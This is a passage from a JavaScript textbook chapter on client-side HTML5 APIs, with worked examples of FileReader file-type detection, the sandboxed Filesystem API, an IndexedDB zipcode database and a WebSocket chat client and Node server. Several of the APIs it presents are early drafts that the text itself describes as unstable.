// identifies the type of the file, asynchronously set a property on the Blob.
function typefile(file) {
    var slice = file.slice(0,4);       // Only read the start of the file
    var reader = new FileReader();     // Create an asynchronous FileReader
    reader.readAsArrayBuffer(slice);   // Read the slice of the file
    reader.onload = function(e) {
        var buffer = reader.result;           // The result ArrayBuffer
        var view = new DataView(buffer);      // Get access to the result bytes
        var magic = view.getUint32(0, false); // Read 4 bytes, big-endian
        switch(magic) {                       // Determine file type from them
        case 0x89504E47: file.verified_type = "image/png"; break;
        case 0x47494638: file.verified_type = "image/gif"; break;
        case 0x25504446: file.verified_type = "application/pdf"; break;
        case 0x504b0304: file.verified_type = "application/zip"; break;
        }
        console.log(file.name, file.verified_type);
    };
}
</script>
<input type="file" onchange="typefile(this.files[0])"></input>
```

In worker threads, you can use FileReaderSync instead of FileReader. The synchronous API defines the same `readAsText()` and `readAsArrayBuffer()` methods that take the same arguments as the asynchronous methods. The difference is that the synchronous methods block until the operation is complete and return the resulting string or ArrayBuffer directly, with no need for event handlers. Example 22-14 below uses FileReaderSync.

22.7 The Filesystem API

In §22.6.5, you saw the FileReader class used to read the content of user-selected files, or of any Blob. The File and Blob types are defined by a draft specification known as the File API. Another draft specification, even newer than the File API, gives web applications controlled access to a private local filesystem "sandbox" in which they can write files, read files, create directories, list directories, and so on. At the time of this writing, this Filesystem API is implemented only by Google's Chrome browser, but it is a powerful and important form of local storage, so it is covered here, even though the API is even less stable than most of the other APIs described in this chapter. This section covers basic filesystem tasks but does not demonstrate all features of the API. Because the API is new and unstable, it is not documented in the reference section of this book.

Working with files in the local filesystem is a multistep process. First, you must obtain an object that represents the filesystem itself. There is a synchronous API for doing this in worker threads and an asynchronous API for use on the main thread:

```
// Obtaining a filesystem synchronously.  Pass filesystem lifetime and size.
// Returns a filesystem object or raises an exception.
var fs = requestFileSystemSync(PERSISTENT, 1024*1024);

// The asynchronous version uses callback functions for success and error
requestFileSystem(TEMPORARY,       // lifetime
                  50*1024*1024,    // size: 50Mb
                  function(fs) {   // called with the filesystem object
                     // Use fs here
                  }
                  function(e) {    // called with an error object onerror
                     console.log(e);  // Or handle it some other way
                  });
```

In both the synchronous and asynchronous versions of the API, you specify the lifetime and the size of the filesystem you want. A `PERSISTENT` filesystem is suitable for web apps that want to store user data permanently. The browser won't delete it except at the user's explicit request. A `TEMPORARY` filesystem is appropriate for web apps that want to cache data but can still operate if the web browser deletes the filesystem. The size of the filesystem is specified in bytes and should be a reasonable upper bound on the amount of data you need to store. A browser may enforce this as a quota.

The filesystem obtained with these functions depends on the origin of the containing document. All documents or web apps from the same origin (host, port, and protocol) share a filesystem. Two documents or applications from different origins have completely distinct and disjoint filesystems. The filesystem is also walled off from the rest of the files on the user's hard drive: there is no way for a web application to "break out" beyond the local root directory or otherwise access arbitrary files.

Note that these functions have "request" in their names. The first time you call one, the browser may ask the user for permission before creating a filesystem and granting

access.[2] Once permission has been granted, subsequent calls to the request method should simply return an object that represents the already existing local filesystem.

The filesystem object you obtain with one of the methods above has a `root` property that refers to the root directory of the filesystem. This is a DirectoryEntry object, and it may have nested directories that are themselves represented by DirectoryEntry objects. Each directory in the file system may contain files, represented by FileEntry objects. The DirectoryEntry object defines methods for obtaining DirectoryEntry and FileEntry objects by pathname (they will optionally create new directories or files if you specify a name that doesn't exist). DirectoryEntry also defines a `createReader()` factory method that returns a DirectoryReader for listing the contents of a directory.

The FileEntry class defines a method for obtaining the File object (a Blob) that represents the contents of a file. You can then use a FileReader object (as shown in §22.6.5) to read the file. FileEntry defines another method to return a FileWriter object that you can use to write content into a file.

Reading or writing a file with this API is a multistep process. First you obtain the filesystem object. Then you use the root directory of that object to look up (and optionally create) the FileEntry object for the file you're interested in. Then you use the FileEntry object to obtain the File or FileWriter object for reading or writing. This multistep process is particularly complex when using the asynchronous API:

```
// Read the text file "hello.txt" and log its contents.
// The asynchronous API nests functions four deep.
// This example doesn't include any error callbacks.
requestFileSystem(PERSISTENT, 10*1024*1024, function(fs) { // Get filesystem
    fs.root.getFile("hello.txt", {}, function(entry) {     // Get FileEntry
        entry.file(function(file) {                        // Get File
            var reader = new FileReader();
            reader.readAsText(file);
            reader.onload = function() {                   // Get file content
                console.log(reader.result);
            };
        });
    });
});
```

Example 22-13 is a more fully fleshed-out example. It demonstrates how to use the asynchronous API to read files, write files, delete files, create directories, and list directories.

Example 22-13. Using the asynchronous filesystem API

```
/*
 * These functions have been tested in Google Chrome 10.0 dev.
 * You may need to launch Chrome with these options:
 * --unlimited-quota-for-files       : enables filesystem access
 * --allow-file-access-from-files    : allows testing from file:// URLs
```

2. At the time of this writing, Chrome doesn't ask for permission, but it requires you to launch it with the `--unlimited-quota-for-files` command-line flag.

```
 */

// Lots of the asynchronous functions we use accept an optional error callback.
// This one just logs the error.
function logerr(e) { console.log(e); }

// requestFileSystem() gets us a sandboxed local filesystem accessible only
// to apps from this origin. We can read and write files at will, but
// can't get out of the sandbox to access the rest of the system.
var filesystem; // Assume this is initialized before the funcs below are called.
requestFileSystem(PERSISTENT,             // Or TEMPORARY for cache files
                  10*1024*1024,           // We'd like 10 megabytes, please
                  function(fs) {          // When done, call this function
                      filesystem = fs;    // Just save the filesystem into
                  },                      // a global variable.
                  logerr);                // Call this if an error occurs


// Read the contents of the specified file as text and pass them to callback.
function readTextFile(path, callback) {
    // Call getFile() to find the FileEntry for the specified filename
    filesystem.root.getFile(path, {}, function(entry) {
        // This function is called with the FileEntry for the file
        // Now we call the FileEntry.file() method to get the File object
        entry.file(function(file) {          // Call this with the File
            var reader = new FileReader();   // Create a FileReader
            reader.readAsText(file);         // And read the file
            reader.onload = function() {     // When read successful
                callback(reader.result);     // Pass it to the callback
            }
            reader.onerror = logerr;         // Log readAsText() errors
        }, logerr);                          // Log file() errors
    },
    logerr);                                 // Log getFile() errors
}

// Append the specified contents to the file at the specified path, creating
// a new file if no file by that name already exists.  Call callback when done.
function appendToFile(path, contents, callback) {
    // filesystem.root is the root directory.
    filesystem.root.getFile( // Get a FileEntry object
        path,                // The name and path of the file we want
        {create:true},       // Create it if it doesn't already exist
        function(entry) {    // Call this when it has been found
            entry.createWriter(     // Create a FileWriter object for the file
                function(writer) {  // Call this function when created
                    // By default a writer starts at the beginning of the file.
                    // We want to start writing at the end of the file
                    writer.seek(writer.length);  // Move to end of file

                    // Convert file contents to a Blob. The contents argument
                    // can be a string or a Blob or an ArrayBuffer.
                    var bb = new BlobBuilder()
                    bb.append(contents);
                    var blob = bb.getBlob();
```

```
                    // Now write the blob to the file
                    writer.write(blob);
                    writer.onerror = logerr;  // Log errors from write()
                    if (callback)             // If there is a callback
                        writer.onwrite = callback; // call it on success
                },
                logerr);     // Log errors from createWriter()
        },
        logerr);             // Log errors from getFile()
}

// Delete the named file, calling the optional callback when done
function deleteFile(name, callback) {
    filesystem.root.getFile(name, {},          // Get FileEntry for named file
                            function(entry) {  // Pass the FileEntry here
                                entry.remove(callback, // Delete the FileEntry
                                             logerr);  // Or log remove() error
                            },
                            logerr);           // Log a getFile() error
}

// Create a new directory with the specified name
function makeDirectory(name, callback) {
    filesystem.root.getDirectory(name,           // Name of directory to create
                                 {               // Options
                                     create: true,  // Create, if doesn't exist
                                     exclusive:true // Error if it does exist
                                 },
                                 callback,       // Call this when done
                                 logerr);        // Log any errors
}

// Read the contents of the specified directory, and pass them, as an array
// of strings, to the specified callback function
function listFiles(path, callback) {
    // If no directory specified, list the root directory. Otherwise, look up
    // the named directory and list it (or log an error looking it up).
    if (!path) getFiles(filesystem.root);
    else filesystem.root.getDirectory(path, {}, getFiles, logerr);

    function getFiles(dir) {               // This function is used above
        var reader = dir.createReader();   // A DirectoryReader object
        var list = [];                     // Where we store filenames
        reader.readEntries(handleEntries,  // Pass entries to function below
                           logerr);        // or log an error.

        // Reading directories can be a multistep process. We have to keep
        // calling readEntries() until we get an empty array. Then we're done
        // and we can pass the full list to the user's callback function.
        function handleEntries(entries) {
            if (entries.length == 0) callback(list);  // We're done
            else {
                // Otherwise, add these entries to the list and ask for more
                // The array-like object contains FileEntry objects and
                // we need to get the name of each one.
                for(var i = 0; i < entries.length; i++) {
```

```
                var name = entries[i].name;              // Get entry name
                if (entries[i].isDirectory) name += "/"; // Mark directories
                list.push(name);                         // Add to list
            }
            // Now get the next batch of entries
            reader.readEntries(handleEntries, logerr);
        }
    }
  }
}
```

Working with files and the filesystem is quite a bit easier in worker threads, where it is okay to make blocking calls and we can use the synchronous API. Example 22-14 defines the same filesystem utility functions as Example 22-13 does, but it uses the synchronous API and is quite a bit shorter.

Example 22-14. The synchronous filesystem API

```
// Filesystem utilities using the synchronous API in a worker thread
var filesystem = requestFileSystemSync(PERSISTENT, 10*1024*1024);

function readTextFile(name) {
    // Get a File from a FileEntry from the root DirectoryEntry
    var file = filesystem.root.getFile(name).file();
    // Use the synchronous FileReader API to read it
    return new FileReaderSync().readAsText(file);
}

function appendToFile(name, contents) {
    // Get a FileWriter from a FileEntry from the root DirectoryEntry
    var writer = filesystem.root.getFile(name, {create:true}).createWriter();
    writer.seek(writer.length);  // Start at the end of the file
    var bb = new BlobBuilder()   // Build the file contents into a Blob
    bb.append(contents);
    writer.write(bb.getBlob());   // Now write the blob to the file
}

function deleteFile(name) {
    filesystem.root.getFile(name).remove();
}

function makeDirectory(name) {
    filesystem.root.getDirectory(name, { create: true, exclusive:true });
}

function listFiles(path) {
    var dir = filesystem.root;
    if (path) dir = dir.getDirectory(path);

    var lister = dir.createReader();
    var list = [];
    do {
        var entries = lister.readEntries();
        for(var i = 0; i < entries.length; i++) {
            var name = entries[i].name;
```

```
            if (entries[i].isDirectory) name += "/";
            list.push(name);
        }
    } while(entries.length > 0);

    return list;
}

// Allow the main thread to use these utilities by sending a message
onmessage = function(e) {
    // We expect the message to be an object like this:
    // { function: "appendToFile", args: ["test", "testing, testing"]}
    // We invoke the specified function with the specified args and
    // post the message back
    var f = self[e.data.function];
    var result = f.apply(null, e.data.args);
    postMessage(result);
};
```


22.8 Client-Side Databases

Web application architecture has traditionally featured HTML, CSS, and JavaScript on the client and a database on the server. Among the most surprising HTML5 APIs, therefore, are client-side databases. These are not just client-side APIs for accessing database servers across the network, but actual client-side databases stored on the user's computer and directly accessed by JavaScript code in the browser.

The Web Storage API described in §20.1 can be thought of as a particularly simple kind of database that persists simple key/value pairs. But in addition, there are two client-side database APIs that are "real" databases. One, known as Web SQL Database, is a simple relational database that supports basic SQL queries. Chrome, Safari, and Opera implemented this API, but Firefox and IE have not, and likely never will. Work on the official specification of this API has stopped and this full-featured SQL database will probably never become an official standard nor an unofficial but interoperable feature of the web platform.

Standardization efforts are now focused on another database API, known as IndexedDB. It is too early to document this API in any detail (it is not covered in Part IV), but Firefox 4 and Chrome 11 include implementations, and this section includes a working example that demonstrates some of the most important features of the IndexedDB API.

IndexedDB is an object database, not a relational database, and it is much simpler than databases that support SQL queries. It is more powerful, efficient, and robust than the key/value storage provided by the Web Storage API, however. Like the Web Storage and the Filesystem API, IndexedDB databases are scoped to the origin of the containing document: two web pages with the same origin can access each other's data, but web pages from different origins cannot.

Each origin can have any number of IndexedDB databases. Each one has a name that must be unique within the origin. In the IndexedDB API, a database is simply a collection of named *object stores*. As the name implies, an object store stores objects (or any value that can be cloned—see "Structured Clones" on page 672). Each object must have a *key* by which it can be sorted and retrieved from the store. Keys must be unique—two objects in the same store may not have the same key—and they must have a natural ordering so that they can be sorted. JavaScript strings, numbers, and Date objects are valid keys. An IndexedDB database can automatically generate a unique key for each object you insert into the database. Often, though, the objects you insert into an object store will already have a property that is suitable for use as a key. In this case, you specify a "key path" for that property when you create the object store. Conceptually, a key path is a value that tells the database how to extract an object's key from the object.

In addition to retrieving objects from an object store by their primary key value, you may want to be able to search based on the value of other properties in the object. In order to be able to do this, you can define any number of *indexes* on the object store. (The ability to index an object store explains the name "IndexedDB.") Each index defines a secondary key for the stored objects. These indexes are not generally unique and multiple objects may match a single key value. So when querying an object store via an index, you generally use a *cursor*, which defines an API for retrieving streaming query results one at a time. Cursors can also be used when querying an object store (or index) for a range of keys, and the IndexedDB API includes an object for describing ranges (upper-bounded and/or lower-bounded, inclusive bounds or exclusive bounds) of keys.

IndexedDB provides atomicity guarantees: queries and updates to the database are grouped within a *transaction* so that they all succeed together or all fail together and never leave the database in an undefined partially updated state. Transactions in IndexedDB are simpler than in many database APIs; we'll mention them again below.

Conceptually, the IndexedDB API is quite simple. To query or update a database, you first open the database you want (specifying it by name). Next, you create a transaction object and use that object to look up the desired object store within the database, also by name. Finally, you look up an object by calling the `get()` method of the object store or store a new object by calling `put()`. (Or by calling `add()`, if you want to avoid overwriting existing objects.) If you want to look up the objects for a range of keys, you create an IDBRange object and pass it to the `openCursor()` method of the object store. Or, if you want to make a query using a secondary key, you look up the named index of the object store, and then call the `get()` or `openCursor()` method of the index object.

This conceptual simplicity is complicated, however, by the fact that the API must be asynchronous so that web apps can use it without blocking the browser's main UI thread. (The IndexedDB specification defines a synchronous version of the API for use by worker threads, but at the time of this writing, no browser has yet implemented that version of the API, so it is not covered here.) Creating transactions and looking up object stores and indexes are easy synchronous operations. But opening a database,

updating an object store with `put()`, and querying a store or index with `get()` or `openCursor()` are all asynchronous operations. These asynchronous methods all immediately return a request object. The browser triggers a success or error event on the request object when the request succeeds or fails, and you can define handlers with the `onsuccess` and `onerror` properties. Inside an `onsuccess` handler, the result of the operation is available as the `result` property of the request object.

One convenient feature of this asynchronous API is that it simplifies transaction management. In a typical use of the IndexedDB API, you first open the database. This is an asynchronous operation, so it triggers an onsuccess handler. In that event handler, you create a transaction object, and then use that transaction object to look up the object store or stores you'll be using. Then you make any number of `get()` and `put()` calls on the object stores. They are asynchronous, so nothing happens right away, but the requests generated by those `get()` and `put()` calls are automatically associated with the transaction object. If you need to, you can cancel all the pending operations (and undo any that have already completed) in the transaction by calling the `abort()` method of the transaction object. In many other database APIs, you'd expect the transaction object to have a `commit()` method to finalize the transaction. In IndexedDB, however, the transaction is committed after the original onsuccess event handler that created the transaction exits and the browser returns to its event loop and after all the operations pending on that transaction complete (without starting any new operations in their callback functions). This sounds complicated, but in practice, it is straightforward. The IndexedDB API forces you to create transaction objects in order to look up object stores, but in common use cases, you really don't have to think about the transactions very much.

Finally, there is one special kind of transaction that enables a very important part of the IndexedDB API. Creating a new database in the IndexedDB API is easy: you just pick a name and request that that database be opened. But a new database is completely empty, and it is useless unless you add one or more object stores (and possibly some indexes as well) to it. The only way to create object stores and indexes is within the onsuccess event handler of the request object returned by a call to the `setVersion()` method of the database object. Calling `setVersion()` allows you to specify a version number for the database—in typical usage, you update the version number each time you alter the structure of the database. More importantly, however, `setVersion()` implicitly begins a special kind of transaction that enables you to call the `createObjectStore()` method of the database object and the `createIndex()` method of an object store.

With this high-level overview of IndexedDB in mind, you should now be able to understand Example 22-15. That example uses IndexedDB to create and query a database that maps US postal codes (zipcodes) to US cities. It demonstrates many, but not all, of the basic features of IndexedDB. At the time of this writing, the example works in Firefox 4 and Chrome 11, but because the specification is still in flux and implementations are still quite preliminary, there is a chance that it won't work exactly as written when you read this. Nevertheless, the overall structure of the example should still be

useful to you. Example 22-15 is long, but it has lots of comments that make it easy to understand.

Example 22-15. A IndexedDB database of US postal codes

```
<!DOCTYPE html>
<html>
<head>
<title>Zipcode Database</title>
<script>
// IndexedDB implementations still use API prefixes
var indexedDB = window.indexedDB ||    // Use the standard DB API
    window.mozIndexedDB ||             // Or Firefox's early version of it
    window.webkitIndexedDB;            // Or Chrome's early version
// Firefox does not prefix these two:
var IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction;
var IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange;

// We'll use this function to log any database errors that occur
function logerr(e) {
    console.log("IndexedDB error" + e.code + ": " + e.message);
}

// This function asynchronously obtains the database object (creating and
// initializing the database if necessary) and passes it to the function f().
function withDB(f) {
    var request = indexedDB.open("zipcodes"); // Request the zipcode database
    request.onerror = logerr;                 // Log any errors
    request.onsuccess = function() {          // Or call this when done
        var db = request.result;  // The result of the request is the database

        // You can always open a database, even if it doesn't exist.
        // We check the version to find out whether the DB has been created and
        // initialized yet.  If not, we have to go do that. But if the db is
        // already set up, we just pass it to the callback function f().
        if (db.version === "1") f(db);   // If db is inited, pass it to f()
        else initdb(db,f);               // Otherwise initialize it first
    }
}

// Given a zip code, find out what city it belongs to and asynchronously
// pass the name of that city to the specified callback function.
function lookupCity(zip, callback) {
    withDB(function(db) {
        // Create a transaction object for this query
        var transaction = db.transaction(["zipcodes"],  // Object stores we need
                                IDBTransaction.READ_ONLY, // No updates
                                            0);           // No timeout

        // Get the object store from the transaction
        var objects = transaction.objectStore("zipcodes");

        // Now request the object that matches the specified zipcode key.
        // The lines above were synchronous, but this one is async
        var request = objects.get(zip);
```

```
        request.onerror = logerr;          // Log any errors that occur
        request.onsuccess = function() {   // Pass the result to this function
            // The result object is now in the request.result
            var object = request.result;
            if (object)  // If we found a match, pass city and state to callback
                callback(object.city + ", " + object.state);
            else         // Otherwise, tell the callback that we failed
                callback("Unknown zip code");
        }
    });
}

// Given the name of a city find all zipcodes for all cities (in any state)
// with that name (case-sensitive).  Asynchronously pass the results, one at
// a time, to the specified callback function
function lookupZipcodes(city, callback) {
    withDB(function(db) {
        // As above, we create a transaction and get the object store
        var transaction = db.transaction(["zipcodes"],
                                         IDBTransaction.READ_ONLY, 0);
        var store = transaction.objectStore("zipcodes");
        // This time we get the city index of the object store
        var index = store.index("cities");

        // This query is likely to have many results, so we have to use a
        // cursor object to retrieve them all. To create a cursor, we need
        // a range object that represents the range of keys
        var range = new IDBKeyRange.only(city);  // A range with only() one key

        // Everything above has been synchronous.
        // Now we request a cursor, which will be returned asynchronously.
        var request = index.openCursor(range);   // Request the cursor
        request.onerror = logerr;                // Log errors
        request.onsuccess = function() {         // Pass cursor to this function
            // This event handler will be invoked multiple times, once
            // for each record that matches the query, and then once more
            // with a null cursor to indicate that we're done.
            var cursor = request.result    // The cursor is in request.result
            if (!cursor) return;           // No cursor means no more results
            var object = cursor.value      // Get the matching record
            callback(object);              // Pass it to the callback
            cursor.continue();             // Ask for the next matching record
        };
    });
}

// This function is used by an onchange callback in the document below
// It makes a DB request and displays the result
function displayCity(zip) {
    lookupCity(zip, function(s) { document.getElementById('city').value = s; });
}

// This is another onchange callback used in the document below.
// It makes a DB request and displays the results
function displayZipcodes(city) {
    var output = document.getElementById("zipcodes");
```


Download from Wow! eBook <www.wowebook.com>

```
    output.innerHTML = "Matching zipcodes:";
    lookupZipcodes(city, function(o) {
        var div = document.createElement("div");
        var text = o.zipcode + ": " + o.city + ", " + o.state;
        div.appendChild(document.createTextNode(text));
        output.appendChild(div);
    });
}

// Set up the structure of the database and populate it with data, then pass
// the database to the function f(). withDB() calls this function if the
// database has not been initialized yet. This is the trickiest part of the
// program, so we've saved it for last.
function initdb(db, f) {
    // Downloading zipcode data and storing it in the database can take
    // a while the first time a user runs this application.  So we have to
    // provide notification while that is going on.
    var statusline = document.createElement("div");
    statusline.style.cssText =
        "position:fixed; left:0px; top:0px; width:100%;" +
        "color:white; background-color: black; font: bold 18pt sans-serif;" +
        "padding: 10px; ";
    document.body.appendChild(statusline);
    function status(msg) { statusline.innerHTML = msg.toString(); };

    status("Initializing zipcode database");

    // The only time you can define or alter the structure of an IndexedDB
    // database is in the onsucess handler of a setVersion request.
    var request = db.setVersion("1");       // Try to update the DB version
    request.onerror = status;               // Display status on fail
    request.onsuccess  = function() {       // Otherwise call this function
        // Our zipcode database includes only one object store.
        // It will hold objects that look like this: {
        //    zipcode: "02134",   // send it to Zoom! :-)
        //    city: "Allston",
        //    state: "MA",
        //    latitude: "42.355147",
        //    longitude: "-71.13164"
        // }
        //
        // We'll use the "zipcode" property as the database key
        // And we'll also create an index using the city name

        // Create the object store, specifying a name for the store and
        // an options object that includes the "key path" specifying the
        // property name of the key field for this store. (If we omit the
        // key path, IndexedDB will define its own unique integer key.)
        var store = db.createObjectStore("zipcodes", // store name
                                         { keyPath: "zipcode" });

        // Now index the object store by city name as well as by zipcode.
        // With this method the key path string is passed directly as a
        // required argument rather than as part of an options object.
        store.createIndex("cities", "city");
```

```
// Now we need to download our zipcode data, parse it into objects
// and store those objects in object store we created above.
//
// Our file of raw data contains lines formatted like this:
//
//   02130,Jamaica Plain,MA,42.309998,-71.11171
//   02131,Roslindale,MA,42.284678,-71.13052
//   02132,West Roxbury,MA,42.279432,-71.1598
//   02133,Boston,MA,42.338947,-70.919635
//   02134,Allston,MA,42.355147,-71.13164
//
// Surprisingly, the US Postal Service does not make this data freely
// available, so we use out-of-date census-based zipcode data from:
// http://mappinghacks.com/2008/04/28/civicspace-zip-code-database/

// We use XMLHttpRequest to download the data.  But use the new XHR2
// onload and onprogress events to process it as it arrives
var xhr = new XMLHttpRequest();   // An XHR to download the data
xhr.open("GET", "zipcodes.csv");  // HTTP GET for this URL
xhr.send();                       // Start right away
xhr.onerror = status;             // Display any error codes
var lastChar = 0, numlines = 0;   // How much have we already processed?

// Handle the database file in chunks as it arrives
xhr.onprogress = xhr.onload = function(e) {  // Two handlers in one!
    // We'll process the chunk between lastChar and the last newline
    // that we've received.  (We need to look for newlines so we don't
    // process partial records)
    var lastNewline = xhr.responseText.lastIndexOf("\n");
    if (lastNewline > lastChar) {
        var chunk = xhr.responseText.substring(lastChar, lastNewline)
        lastChar = lastNewline + 1;   // Where to start next time

        // Now break the new chunk of data into individual lines
        var lines = chunk.split("\n");
        numlines += lines.length;

        // In order to insert zipcode data into the database we need a
        // transaction object. All the database insertions we make
        // using this object will be commited to the database when this
        // function returns and the browser goes back to the event
        // loop.  To create our transaction object, we need to specify
        // which object stores we'll be using (we only have one) and we
        // need to tell it that we'll be doing writes to the database,
        // not just reads:
        var transaction = db.transaction(["zipcodes"], // object stores
                                         IDBTransaction.READ_WRITE);

        // Get our object store from the transaction
        var store = transaction.objectStore("zipcodes");

        // Now loop through the lines of the zipcode file, create
        // objects for them, and add them to the object store.
        for(var i = 0; i < lines.length; i++) {
            var fields = lines[i].split(","); // Comma-separated values
            var record = {           // This is the object we'll store
```

```
                    zipcode: fields[0],  // All properties are string
                    city: fields[1],
                    state: fields[2],
                    latitude: fields[3],
                    longitude: fields[4]
                };

                // The best part about the IndexedDB API is that object
                // stores are *really* simple.  Here's how we add a record:
                store.put(record);   // Or use add() to avoid overwriting
            }

            status("Initializing zipcode database: loaded "
                   + numlines + " records.");
        }

        if (e.type == "load") {
            // If this was the final load event, then we've sent all our
            // zipcode data to the database.  But since we've just blasted
            // it with some 40,000 records, it may still be processing.
            // So we'll make a simple query. When it succeeds, we know
            // that the database is ready to go, and we can then remove
            // the status line and finally call the function f() that was
            // passed to withDB() so long ago
            lookupCity("02134", function(s) {  // Allston, MA
                document.body.removeChild(statusline);
                withDB(f);
            });
        }
    }
  }
}
</script>
</head>
<body>
<p>Enter a zip code to find its city:</p>
Zipcode: <input onchange="displayCity(this.value)"></input>
City: <output id="city"></output>
</div>
<div>
<p>Enter a city name (case sensitive, without state) to find cities and their zipcodes:</p>
City: <input onchange="displayZipcodes(this.value)"></input>
<div id="zipcodes"></div>
</div>
<p><i>This example is only known to work in Firefox 4 and Chrome 11.</i></p>
<p><i>Your first query may take a very long time to complete.</i></p>
<p><i>You may need to start Chrome with --unlimited-quota-for-indexeddb</i></p>
</body>
</html>
```

22.9 Web Sockets

Chapter 18 showed how client-side JavaScript code can communicate over the network. The examples in that chapter all used HTTP, which means that they were all

constrained by the fundamental nature of the HTTP: it is a stateless protocol that consists of client requests and server responses. HTTP is actually a fairly specialized network protocol. More general network connections over the Internet (or over local intranets) often involve longer-lived connections and bidirectional message exchange over TCP sockets. It is not safe to give untrusted client-side JavaScript code access to low-level TCP sockets, but the WebSocket API defines a secure alternative: it allows client-side code to create bidirectional socket-type connections to servers that support the WebSocket protocol. This makes it much easier to perform certain kinds of networking tasks.

The WebSocket Protocol

In order to use WebSockets from JavaScript, you only need to understand the client-side WebSocket API described here. There is no equivalent server-side API for writing WebSocket servers, but this section does include a simple server example that uses Node (§12.2) along with a third-party WebSocket server library. The client and server communicate over a long-lived TCP socket following rules defined by the WebSocket protocol. The details of the protocol are not relevant here, but it is worth noting that the WebSocket protocol is carefully designed so that web servers can easily handle both HTTP and WebSocket connections over the same port.

WebSockets enjoy wide support among web browser vendors. An early draft version of the WebSocket protocol was found to have an important security hole, however, and at the time of this writing, some browsers have disabled their WebSocket support until a secure version of the protocol has been standardized. In Firefox 4, for example, you may need to explicitly enable WebSockets by visiting the `about:config` page and setting the configuration variable "network.websocket.override-security-block" to `true`.

The WebSocket API is surprisingly easy to use. First, create a socket with the `WebSocket()` constructor:

```
var socket = new WebSocket("ws://ws.example.com:1234/resource");
```

The argument to the `WebSocket()` constructor is a URL that uses the `ws://` protocol (or `wss://` for a secure connection like that used by `https://`). The URL specifies the host to connect to, and may also specify a port (WebSockets use the same default ports as HTTP and HTTPS) and a path or resource.

Once you have created a socket, you generally register event handlers on it:

```
socket.onopen = function(e) {  /* The socket is now connected. */ };
socket.onclose = function(e) { /* The socket closed. */ };
socket.onerror = function(e) { /* Something went wrong! */ };
socket.onmessage = function(e) {
    var message = e.data;      /* The server sent us a message. */
};
```

In order to send data to the server over the socket, you call the send() method of the socket:

```
socket.send("Hello, server!");
```

The current version of the WebSocket API supports only textual messages, and sends them as UTF-8 encoded strings. The current WebSocket protocol includes support for binary messages, however, and a future version of the API may allow binary data to be exchanged with a WebSocket server.

When your code is done communicating with the server, you can close a WebSocket by calling its `close()` method.

WebSocket is completely bidirectional, and once a WebSocket connection has been established, the client and server can send messages to each other at any time, and that communication does not have to take the form of requests and responses. Each WebSocket-based service will define its own "subprotocol" for transferring data between client and server. Over time, these "subprotocols" may evolve, and you may end up with clients and servers that need to support more than one version of a subprotocol. Fortunately, the WebSocket protocol includes a negotiation mechanism for choosing a subprotocol that both client and server can understand. You can pass an array of strings to the `WebSocket()` constructor. The server will take these as a list of the subprotocols that the client understands. It will pick one to use and send it back to the client. Once the connection is established, the client can determine which subprotocol is in use by checking the `protocol` property of the socket.

§18.3 explained the EventSource API and demonstrated it with an online chat client and server. WebSockets make it even easier to write this kind of application. Example 22-16 is a very simple chat client: it is a lot like Example 18-15, but it uses a WebSocket for bidirectional communication instead of using an EventSource to receive messages and an XMLHttpRequest to send them.

Example 22-16. A WebSocket-based chat client

```
<script>
window.onload = function() {
    // Take care of some UI details
    var nick = prompt("Enter your nickname");     // Get user's nickname
    var input = document.getElementById("input"); // Find the input field
    input.focus();                                // Set keyboard focus

    // Open a WebSocket to send and receive chat messages on.
    // Assume that the HTTP server we were downloaded from also functions as
    // a websocket server, and use the same host name and port, but change
    // from the http:// protocol to ws://
    var socket = new WebSocket("ws://" + location.host + "/");

    // This is how we receive messages from the server through the web socket
    socket.onmessage = function(event) {          // When a new message arrives
        var msg = event.data;                     // Get text from event object
        var node = document.createTextNode(msg);  // Make it into a text node
        var div = document.createElement("div");  // Create a <div>
        div.appendChild(node);                    // Add text node to div
        document.body.insertBefore(div, input);   // And add div before input
        input.scrollIntoView();                   // Ensure input elt is visible
```

```
    }

    // This is how we send messages to the server through the web socket
    input.onchange = function() {                 // When user strikes return
        var msg = nick + ": " + input.value;      // Username plus user's input
        socket.send(msg);                         // Send it through the socket
        input.value = "";                         // Get ready for more input
    }
};
</script>
<!-- The chat UI is just a single, wide text input field -->
<!-- New chat messages will be inserted before this element -->
<input id="input" style="width:100%"/>
```

Example 22-17 is a WebSocket-based chat server intended to be run in Node (§12.2). You can compare this example to Example 18-17 to see that WebSockets simplify the server-side of the chat application as well as the client-side.

Example 22-17. A chat server using WebSockets and Node

```
/*
 * This is server-side JavaScript, intended to be run with NodeJS.
 * It runs a WebSocket server on top of an HTTP server, using an external
 * websocket library from https://github.com/miksago/node-websocket-server/
 * If it gets an  HTTP request for "/" it returns the chat client HTML file.
 * Any other HTTP requests return 404. Messages received via the
 * WebSocket protocol are simply broadcast to all active connections.
 */
var http = require('http');            // Use Node's HTTP server API
var ws = require('websocket-server');  // Use an external WebSocket library

// Read the source of the chat client at startup. Used below.
var clientui = require('fs').readFileSync("wschatclient.html");

// Create an HTTP server
var httpserver = new http.Server();

// When the HTTP server gets a new request, run this function
httpserver.on("request", function (request, response) {
    // If the request was for "/", send the client-side chat UI.
    if (request.url === "/") {  // A request for the chat UI
        response.writeHead(200, {"Content-Type": "text/html"});
        response.write(clientui);
        response.end();
    }
    else {  // Send a 404 "Not Found" code for any other request
        response.writeHead(404);
        response.end();
    }
});

// Now wrap a WebSocket server around the HTTP server
var wsserver = ws.createServer({server: httpserver});

// Call this function when we receive a new connection request
```

```
wsserver.on("connection", function(socket) {
    socket.send("Welcome to the chat room."); // Greet the new client
    socket.on("message", function(msg) {      // Listen for msgs from the client
        wsserver.broadcast(msg);              // And broadcast them to everyone
    });
});

// Run the server on port 8000. Starting the WebSocket server starts the
// HTTP server as well. Connect to http://localhost:8000/ to use it.
wsserver.listen(8000);
```

PART III

Core JavaScript Reference

This part of the book is a reference that documents the classes, methods, and properties defined by the core JavaScript language. This reference is arranged alphabetically by class or object name:

Arguments	EvalError	Number	String
Array	Function	Object	SyntaxError
Boolean	Global	RangeError	TypeError
Date	JSON	ReferenceError	URIError
Error	Math	RegExp	

The reference pages for the methods and properties of classes are alphabetized by their full names, which include the names of the classes that define them. For example, if you want to read about the `replace()` method of the String class, you would look under `String.replace()`, not just `replace`.

Core JavaScript defines some global functions and properties, such as `eval()` and `NaN`. Technically, these are properties of the global object. Since the global object has no name, however, they are listed in this reference section under their own unqualified names. For convenience, the full set of global functions and properties in core JavaScript is summarized in a special reference page named "Global" (even though there is no object or class by that name).

Core JavaScript Reference

arguments[ ]

an array of function arguments

Synopsis

```
arguments
```

